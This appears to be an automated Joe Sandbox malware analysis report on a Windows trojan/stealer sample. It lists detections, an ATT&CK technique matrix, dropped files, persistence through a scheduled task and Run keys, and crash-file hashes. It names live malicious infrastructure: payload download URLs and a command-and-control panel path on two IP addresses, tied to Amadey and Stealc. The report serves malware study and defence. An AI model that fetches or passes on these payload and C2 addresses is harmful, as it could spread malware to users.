Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00402440 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	28_2_00402440
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0042EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	28_2_0042EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0042DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	28_2_0042DF51
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0064E1B8 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	28_2_0064E1B8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0064EEAF Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	28_2_0064EEAF

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	11 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	31 Virtualization/Sandbox Evasion	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	111 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	22 Software Packing	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	3 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	25 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
yjzllYsjlU.exe	39%	ReversingLabs
yjzllYsjlU.exe	100%	Avira	HEUR/AGEN.1311799
yjzllYsjlU.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\1000026002\0f2a0c16ee.exe	37%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	37%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000023001\532d9160c6.exe	37%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	39%	ReversingLabs

Source	Detection	Scanner	Label
http://upx.sf.net	0%	URL Reputation	safe
http://185.215.113.43/Zu7JuNko/index.php6	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpx	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php	100%	Avira URL Cloud	phishing
http://185.215.113.103/steam/random.exe;	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpxe	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpb	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpxe9/:x	0%	Avira URL Cloud	safe
http://185.215.113.43/fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#	0%	Avira URL Cloud	safe
http://185.215.113.103/mine/random.exe	100%	Avira URL Cloud	malware
http://185.215.113.43/	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=	100%	Avira URL Cloud	phishing
http://185.215.113.103/steam/random.exe	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpn	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpncoded	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpnu	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.php	true	Avira URL Cloud: phishing	unknown
http://185.215.113.103/mine/random.exe	false	Avira URL Cloud: malware	unknown
http://185.215.113.103/steam/random.exe	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.php6	skotes.exe, 0000001C.00000002.4669668588.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.103/steam/random.exe;	skotes.exe, 0000001C.00000002.4669012464.0000000000743000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpxe	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpx	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpxe9/:x	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpb	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpn	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 0000001C.00000002.4669012464.000000000075E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true
185.215.113.103	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518031
Start date and time:	2024-09-25 10:31:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	yjzllYsjlU.exe renamed because original name is a hash value
Original Sample Name:	05b4b94fe502b06454e6fe20b6965c76.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/67@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 70 Number of non-executed functions: 295
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21, 104.208.16.94, 20.189.173.20
Excluded domains from analysis (whitelisted): client.wns.windows.com, slscr.update.microsoft.com, tile-service.weather.microsoft.com, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: yjzllYsjlU.exe

Simulations

Behavior and APIs

Time	Type	Description
04:32:45	API Interceptor	2x Sleep call for process: WerFault.exe modified
04:33:00	API Interceptor	7926952x Sleep call for process: skotes.exe modified
10:32:33	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
10:33:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0f2a0c16ee.exe C:\Users\user\1000026002\0f2a0c16ee.exe
10:33:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0f2a0c16ee.exe C:\Users\user\1000026002\0f2a0c16ee.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	p3aYwXKO5T.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.103	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103/steam/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103/steam/random.exe
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, Stealc, zgRAT	Browse	185.215.113.103/well/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103/steam/random.exe
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.103/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.103/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.103/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.103/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.103/e2b1563c6670f193.php
	nate.exe	Get hash	malicious	Stealc	Browse	185.215.113.103/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	IWXaKkm4pm.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	p3aYwXKO5T.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	A1E1u0Rnel.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103
	file.exe	Get hash	malicious	Amadey, Go Injector, XWorm	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103
	isiihLLJJr.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	185.215.113.17
WHOLESALECONNECTIONSNL	IWXaKkm4pm.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	p3aYwXKO5T.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	A1E1u0Rnel.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103
	file.exe	Get hash	malicious	Amadey, Go Injector, XWorm	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103
	isiihLLJJr.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	185.215.113.17

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_1a335e5a41ca67f8c458c244e983f207da8cbdd_360c380b_3c1a7e6c-414e-4f0b-80ef-5dbce2fa66fd\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8412880672827984
Encrypted:	false
SSDEEP:	96:US7UpsohqwoA7Rn6tQXIDcQnc6rCcEhcw3rb+HbHgnoW6HeysrOyjyoYhEVsPiDp:R7UpE4056rQjpazuiF3Z24IO8nI
MD5:	280AD54F6B0AFCC25A6E096B71AD8A58
SHA1:	4B6D578E7146E0D1B9568D395160E176EA63A453
SHA-256:	0CFB4A09850E35D97DCC333A6A43A12C60143A7347F58AF74798BD15F15FB841
SHA-512:	153663EC63354E0EB051D1D7400020E50152166E480B5D267D8C39FEA9750DF4F0B64F2F195C2B6DD66CF743F8486D3342A2F54B67AFF32E75CEA4DA8747A755
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.8.4.2.4.6.7.2.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.c.1.a.7.e.6.c.-.4.1.4.e.-.4.f.0.b.-.8.0.e.f.-.5.d.b.c.e.2.f.a.6.6.f.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.c.6.1.5.9.4.5.-.6.a.2.9.-.4.d.2.5.-.9.0.6.5.-.e.9.c.d.7.e.1.7.3.3.b.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.k.o.t.e.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.d.0.-.0.0.0.1.-.0.0.1.5.-.3.3.c.7.-.8.f.8.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.3.0.9.4.f.c.a.3.8.0.6.f.4.3.a.4.e.8.9.f.f.7.1.6.0.8.9.0.f.8.1.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.s.k.o.t.e.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.s.k.o.t.e.s...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_1a335e5a41ca67f8c458c244e983f207da8cbdd_360c380b_58748952-2293-4572-925d-4136e590bc4d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7841966575895198
Encrypted:	false
SSDEEP:	96:S0tIAUMsohqwoA7Rn6tQXIDcQnc6rCcEhcw3rb+HbHgnoW6HeysrOyjyoYhEVsPm:RIAUME4056rQjp6zuiF3Z24IO8nI
MD5:	EB23A1D7DFD5CFC79E86A563F58228AD
SHA1:	87BEF2D5CA5B36B50B8EDC4C7DF61CE78C1C3A52
SHA-256:	D352D0ECD49CC96E0792AEEE3C3D02ADEB9AC05815CD29631561351DD6DB22E2
SHA-512:	A7D358CBEE02EEE943F426D79BA4437A76240B368F99C50AE834FC8ADD15B17B31C9B44D9A1190B9EAAC8FFDD482175DC8087676E5416C600BB93231EF0CAA00
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.8.0.6.6.6.1.5.8.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.8.7.4.8.9.5.2.-.2.2.9.3.-.4.5.7.2.-.9.2.5.d.-.4.1.3.6.e.5.9.0.b.c.4.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.e.7.3.6.8.c.-.7.1.6.d.-.4.d.d.d.-.8.b.f.0.-.0.8.3.4.3.7.5.6.1.c.1.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.k.o.t.e.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.d.0.-.0.0.0.1.-.0.0.1.5.-.3.3.c.7.-.8.f.8.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.3.0.9.4.f.c.a.3.8.0.6.f.4.3.a.4.e.8.9.f.f.7.1.6.0.8.9.0.f.8.1.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.s.k.o.t.e.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.s.k.o.t.e.s...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_1a335e5a41ca67f8c458c244e983f207da8cbdd_360c380b_cce11016-84c2-4d24-afb7-19932148b3a7\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8412780755582671
Encrypted:	false
SSDEEP:	96:YVzIHUosohqwoA7Rn6tQXIDcQnc6rCcEhcw3rb+HbHgnoW6HeysrOyjyoYhEVsPG:CqUoE4056rQjpazuiF3Z24IO8nI
MD5:	63715809A5324BF75E0C3EC2271727E8
SHA1:	0E70D0020CC03C2C31E167A9DE06F3F2FF4ACDBC
SHA-256:	3B9C4DDFDA0B9BA0CF8A089D18B006C41A5375F6C596767C1530B1FDB5DF4023
SHA-512:	3626E0B5B00F0E1CE644CE252B020E47E6704AA0D76D8AF48AEACEE534380032079A048F158783BE972F51F90DB38D2BEB5790CB052B46BBF17E2567DB1194F0
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.8.2.8.4.7.1.3.8.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.c.e.1.1.0.1.6.-.8.4.c.2.-.4.d.2.4.-.a.f.b.7.-.1.9.9.3.2.1.4.8.b.3.a.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.5.1.0.3.b.8.0.-.5.4.0.4.-.4.b.7.9.-.a.f.d.f.-.1.8.0.c.3.9.7.a.6.f.2.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.k.o.t.e.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.d.0.-.0.0.0.1.-.0.0.1.5.-.3.3.c.7.-.8.f.8.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.3.0.9.4.f.c.a.3.8.0.6.f.4.3.a.4.e.8.9.f.f.7.1.6.0.8.9.0.f.8.1.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.s.k.o.t.e.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.s.k.o.t.e.s...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_1a335e5a41ca67f8c458c244e983f207da8cbdd_360c380b_de1dae57-bcbb-45b1-aa27-18a1e1f22305\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.840993729358504
Encrypted:	false
SSDEEP:	96:p0WU5sohqwoA7Rn6tQXIDcQnc6rCcEhcw3rb+HbHgnoW6HeysrOyjyoYhEVsPiDp:qWU5E4056rQjpazuiF3Z24IO8nI
MD5:	D7D03B25AA1F86FD1E4F804DE2B93E33
SHA1:	7EA5CAF118F1ACB21F9F83D078A0E2671AF1EF48
SHA-256:	D622E79D98A653FDD3744CD96BAD6132CA26060B720FFED78A86E910C70B5CFA
SHA-512:	17CF2F757F3ACACE952A9EDE60E0BC86EA0967415D3F436EDD263DA0EB6F058CF015B7C651119B90E1B6021867B977366632B75EFC3E86E9EA1DEE81E4AE92E9
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.8.3.5.4.0.2.8.1.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.e.1.d.a.e.5.7.-.b.c.b.b.-.4.5.b.1.-.a.a.2.7.-.1.8.a.1.e.1.f.2.2.3.0.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.d.9.0.0.6.d.c.-.e.8.2.5.-.4.a.1.7.-.8.c.f.0.-.3.e.3.f.5.2.6.3.9.8.7.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.k.o.t.e.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.d.0.-.0.0.0.1.-.0.0.1.5.-.3.3.c.7.-.8.f.8.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.3.0.9.4.f.c.a.3.8.0.6.f.4.3.a.4.e.8.9.f.f.7.1.6.0.8.9.0.f.8.1.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.s.k.o.t.e.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.s.k.o.t.e.s...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_b230dc6fc163fdde8365dc55937a5169439a2_360c380b_6dcdc8c6-df7e-46a7-9ca7-325d7431e179\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7819041510867769
Encrypted:	false
SSDEEP:	96:v5hpllnU7isohqwC7qlfeQXIDcQ9c6ZNcExcw3b+HbHg/8BRTf3ZFEOyKZoxm9nl:JllnU+EIr0TXL0jp+zuiF3Z24IO8CI
MD5:	4456662DD53BDF2641D0D6EF012B95E7
SHA1:	C5856DD8645DF92B4221BD4E5FB6FCF1B369E743
SHA-256:	282CB2B2389A347F7A77D63E714F28935F530C56645A8524D04FFB5EE9F10F29
SHA-512:	82D4CECAD872E90F426F81B4C479E799194B814F4412E270D93A0BF04523798AF58F6A80D368C2F6D35A2D37E4975ED76FC7811F2480B93FDF702D76C1CE22B4
Malicious:	false
